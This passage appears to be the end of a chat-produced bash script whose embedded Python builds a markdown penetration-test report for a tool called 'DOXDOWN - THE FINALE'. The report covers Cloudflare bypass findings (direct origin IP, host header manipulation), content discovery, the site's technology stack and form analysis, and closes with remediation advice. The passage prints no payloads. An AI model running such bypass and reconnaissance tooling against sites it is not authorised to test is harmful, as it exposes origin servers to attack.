                            report.write(f"- **Host Header Manipulation**: Using `{result.get('host_tested', 'Unknown')}` ")
                            report.write(f"returned status code {result.get('status_code', 'Unknown')} without Cloudflare headers\n")
                
                # Other bypass methods
                for test_type, results in cloudflare_results.get("tests", {}).items():
                    if test_type not in ["direct_ip", "host_header"]:
                        for result in results:
                            if result.get("status") in ["Success", "Interesting", "Vulnerable"]:
                                if "note" in result:
                                    report.write(f"- **{test_type.replace('_', ' ').title()}**: {result['note']}\n")
                
                report.write("\n**Impact**: These bypass techniques could potentially expose the origin server ")
                report.write("to direct attacks, circumventing the security benefits provided by Cloudflare's protection.\n\n")
            else:
                report.write("No effective Cloudflare bypass techniques were identified. ")
                report.write("The Cloudflare configuration appears to be properly secured against common bypass methods.\n\n")
        
        # Content Discovery
        report.write("## Content Discovery\n\n")
        
        if content_discovery:
            report.write(f"The content discovery phase identified {len(content_discovery)} resources.\n\n")
            
            # Group by status code
            status_groups = {}
            for item in content_discovery:
                status = item.get("status_code", 0)
                if status not in status_groups:
                    status_groups[status] = []
                status_groups[status].append(item)
            
            report.write("### Resources by HTTP Status\n\n")
            report.write("| Status | Count | Description |\n")
            report.write("|--------|-------|-------------|\n")
            
            status_descriptions = {
                200: "OK - Resource exists",
                201: "Created",
                204: "No Content",
                301: "Moved Permanently",
                302: "Found - Temporary Redirect",
                307: "Temporary Redirect",
                308: "Permanent Redirect",
                401: "Unauthorized - Authentication required",
                403: "Forbidden - Authentication insufficient",
                404: "Not Found",
                500: "Internal Server Error"
            }
            
            for status, items in sorted(status_groups.items()):
                description = status_descriptions.get(status, "Unknown")
                report.write(f"| {status} | {len(items)} | {description} |\n")
            
            report.write("\n")
            
            # List interesting findings
            interesting_statuses = [200, 201, 301, 302, 401, 403, 500]
            report.write("### Notable Discovered Resources\n\n")
            
            notable_found = False
            for status in interesting_statuses:
                if status in status_groups:
                    items = status_groups[status]
                    if items:
                        notable_found = True
                        report.write(f"#### Status {status} Resources\n\n")
                        for item in items[:10]:  # Limit to 10 per status
                            path = item.get("path", "")
                            url = item.get("url", "")
                            report.write(f"- `{path}` -> {url}\n")
                        if len(items) > 10:
                            report.write(f"- *And {len(items) - 10} more with status {status}...*\n")
                        report.write("\n")
            
            if not notable_found:
                report.write("No notably interesting resources were discovered.\n\n")
        else:
            report.write("Content discovery was performed but did not yield significant results. ")
            report.write("This could indicate good security practices in hiding sensitive resources ")
            report.write("or could suggest that additional, more targeted discovery techniques might be necessary.\n\n")
        
        # Technical Details
        report.write("## Technical Details\n\n")
        
        # Technologies
        report.write("### Technology Stack\n\n")
        if technologies:
            # Group technologies by type
            tech_groups = {
                "Server": [],
                "Framework": [],
                "CMS": [],
                "JavaScript": [],
                "Security": [],
                "Other": []
            }
            
            for tech in technologies:
                if tech.startswith("Server:") or "nginx" in tech.lower() or "apache" in tech.lower():
                    tech_groups["Server"].append(tech)
                elif tech.startswith("Security:") or "missing" in tech.lower():
                    tech_groups["Security"].append(tech)
                elif any(js in tech.lower() for js in ["jquery", "react", "angular", "vue"]):
                    tech_groups["JavaScript"].append(tech)
                elif any(cms in tech.lower() for cms in ["wordpress", "drupal", "joomla"]):
                    tech_groups["CMS"].append(tech)
                elif any(fw in tech.lower() for fw in ["laravel", "django", "rails", "asp.net"]):
                    tech_groups["Framework"].append(tech)
                else:
                    tech_groups["Other"].append(tech)
            
            for group, techs in tech_groups.items():
                if techs:
                    report.write(f"**{group}**\n\n")
                    for tech in techs:
                        report.write(f"- {tech}\n")
                    report.write("\n")
        else:
            report.write("Limited technology information was detected during the assessment.\n\n")
        
        # Forms Analysis
        forms_file = "enumeration/crawl_results/forms.json"
        forms = load_json(forms_file, [])
        
        if forms:
            report.write("### Form Analysis\n\n")
            report.write(f"The assessment identified {len(forms)} forms on the website.\n\n")
            
            # Authentication forms
            auth_forms = [f for f in forms if any(field.get('type') == 'password' for field in f.get('fields', []))]
            if auth_forms:
                report.write(f"**Authentication Forms:** {len(auth_forms)} forms with password fields were found.\n\n")
                report.write("Sample authentication form:\n\n")
                sample = auth_forms[0]
                report.write(f"- URL: {sample.get('action', 'Unknown')}\n")
                report.write(f"- Method: {sample.get('method', 'Unknown')}\n")
                report.write("- Fields:\n")
                for field in sample.get('fields', []):
                    report.write(f"  - {field.get('name', 'Unknown')} ({field.get('type', 'Unknown')})\n")
                report.write("\n")
            
            # File upload forms
            upload_forms = [f for f in forms if any(field.get('type') == 'file' for field in f.get('fields', []))]
            if upload_forms:
                report.write(f"**File Upload Forms:** {len(upload_forms)} forms with file upload capabilities were found.\n")
                report.write("This could present security risks if file validation is insufficient.\n\n")
        
        # Recommendations
        report.write("## Recommendations\n\n")
        
        # General recommendations
        report.write("Based on the findings of this assessment, the following recommendations are provided:\n\n")
        
        # Generate recommendations based on findings
        if vuln_count > 0:
            report.write("### Vulnerability Remediation\n\n")
            
            # Group by vulnerability type for recommendations
            vuln_types = {}
            for vuln in vulnerabilities:
                v_type = vuln.get("type", "Unknown")
                if v_type not in vuln_types:
                    vuln_types[v_type] = []
                vuln_types[v_type].append(vuln)
            
            for v_type, vulns in vuln_types.items():
                report.write(f"**{v_type} Issues:**\n\n")
                
                if "sqli" in v_type.lower():
                    report.write("- Use parameterized queries or prepared statements for all database operations\n")
                    report.write("- Implement strict input validation for all user-supplied data\n")
                    report.write("- Consider using an ORM (Object-Relational Mapping) framework\n")
                elif "xss" in v_type.lower():
                    report.write("- Implement proper output encoding for all user-supplied content\n")
                    report.write("- Configure a strong Content-Security-Policy (CSP) header\n")
                    report.write("- Use modern frameworks that automatically escape output\n")
                elif "lfi" in v_type.lower() or "path_traversal" in v_type.lower():
                    report.write("- Avoid passing user-supplied input to filesystem functions\n")
                    report.write("- Use whitelisting for file inclusion rather than direct path manipulation\n")
                    report.write("- Implement proper input validation and sanitization\n")
                elif "open_redirect" in v_type.lower():
                    report.write("- Implement a whitelist of allowed redirect destinations\n")
                    report.write("- Use indirect reference maps instead of user-controlled URLs\n")
                elif "cloudflare bypass" in v_type.lower():
                    report.write("- Ensure your origin server IP is not publicly exposed\n")
                    report.write("- Configure Cloudflare to only accept connections from Cloudflare IP ranges\n")
                    report.write("- Implement proper origin server security even with Cloudflare protection\n")
                else:
                    report.write("- Implement input validation and output sanitization\n")
                    report.write("- Follow the principle of least privilege\n")
                    report.write("- Use existing security libraries rather than custom implementations\n")
                
                report.write("\n")
        
        # Cloudflare-specific recommendations
        if cloudflare_results and cloudf_bypass_count > 0:
            report.write("### Cloudflare Configuration Recommendations\n\n")
            report.write("- Configure your origin web server to only accept connections from [Cloudflare IP ranges](https://www.cloudflare.com/ips/)\n")
            report.write("- Enable Authenticated Origin Pulls to validate that requests come from Cloudflare\n")
            report.write("- Implement Cloudflare Access for administrative areas\n")
            report.write("- Utilize Cloudflare Workers for additional security controls\n")
            report.write("- Enable all Cloudflare security features including WAF, Bot Management, and Rate Limiting\n\n")
        
        # General security recommendations
        report.write("### General Security Improvements\n\n")
        report.write("- Implement proper security headers (HSTS, CSP, X-Content-Type-Options, etc.)\n")
        report.write("- Ensure all sensitive data is properly encrypted in transit and at rest\n")
        report.write("- Conduct regular security assessments and code reviews\n")
        report.write("- Implement a security vulnerability disclosure program\n")
        report.write("- Keep all software dependencies and frameworks updated to mitigate known vulnerabilities\n\n")
        
        # Appendices
        report.write("## Appendices\n\n")
        
        # Raw data locations
        report.write("### Assessment Data\n\n")
        report.write("The following raw data files were generated during this assessment:\n\n")
        report.write("| Data Type | File Location |\n")
        report.write("|-----------|---------------|\n")
        report.write(f"| DNS Records | recon/dns_records.txt |\n")
        report.write(f"| Crawled Pages | enumeration/crawl_results/pages.json |\n")
        report.write(f"| Discovered Forms | enumeration/crawl_results/forms.json |\n")
        report.write(f"| Content Discovery | content_discovery_results.json |\n")
        report.write(f"| Vulnerability Findings | vulnerability_findings.json |\n")
        report.write(f"| Cloudflare Analysis | cloudflare_bypass_results.json |\n")
        report.write("\n")
        
        # Footer
        report.write("---\n\n")
        report.write("Report generated by DOXDOWN - THE FINALE security assessment tool.\n")
        report.write(f"Assessment date: {datetime.datetime.now().strftime('%Y-%m-%d')}\n")
    
    print(f"Report generated successfully: {REPORT_FILE}")

if __name__ == "__main__":
    generate_report()
EOL

chmod +x generate_report.py

# Generate the final report
python3 generate_report.py "$TARGET_URL"

# =====================================
# Conclusion
# =====================================
log "INFO" "Assessment complete!"
log "INFO" "Final report is available at: $TESTING_DIR/DOXDOWN_REPORT.md"
log "INFO" "Raw data is available in the following directories:"
log "INFO" "- Reconnaissance: $TESTING_DIR/recon/"
log "INFO" "- Enumeration: $TESTING_DIR/enumeration/"
log "INFO" "- Vulnerabilities: $TESTING_DIR/vulnerabilities/"
log "INFO" "- Logs: $TESTING_DIR/logs/"

echo -e "${GREEN}"
echo "██████╗  ██████╗ ██╗  ██╗██████╗  ██████╗ ██╗    ██╗███╗   ██╗"
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔══██╗██╔═══██╗██║    ██║████╗  ██║"
echo "██║  ██║██║   ██║ ╚███╔╝ ██║  ██║██║   ██║██║ █╗ ██║██╔██╗ ██║"
echo "██║  ██║██║   ██║ ██╔██╗ ██║  ██║██║   ██║██║███╗██║██║╚██╗██║"
echo "██████╔╝╚██████╔╝██╔╝ ██╗██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║"
echo "╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═════╝  ╚═════╝  ╚══╝╚══╝ ╚═╝  ╚═══╝"
echo -e "${CYAN}        THE FINALE${NC}"
echo ""
echo -e "${YELLOW}Assessment completed successfully!${NC}"
echo ""
echo -e "Report is available at: ${GREEN}$TESTING_DIR/DOXDOWN_REPORT.md${NC}"
echo ""
Human: Now write a cloudflare.json file check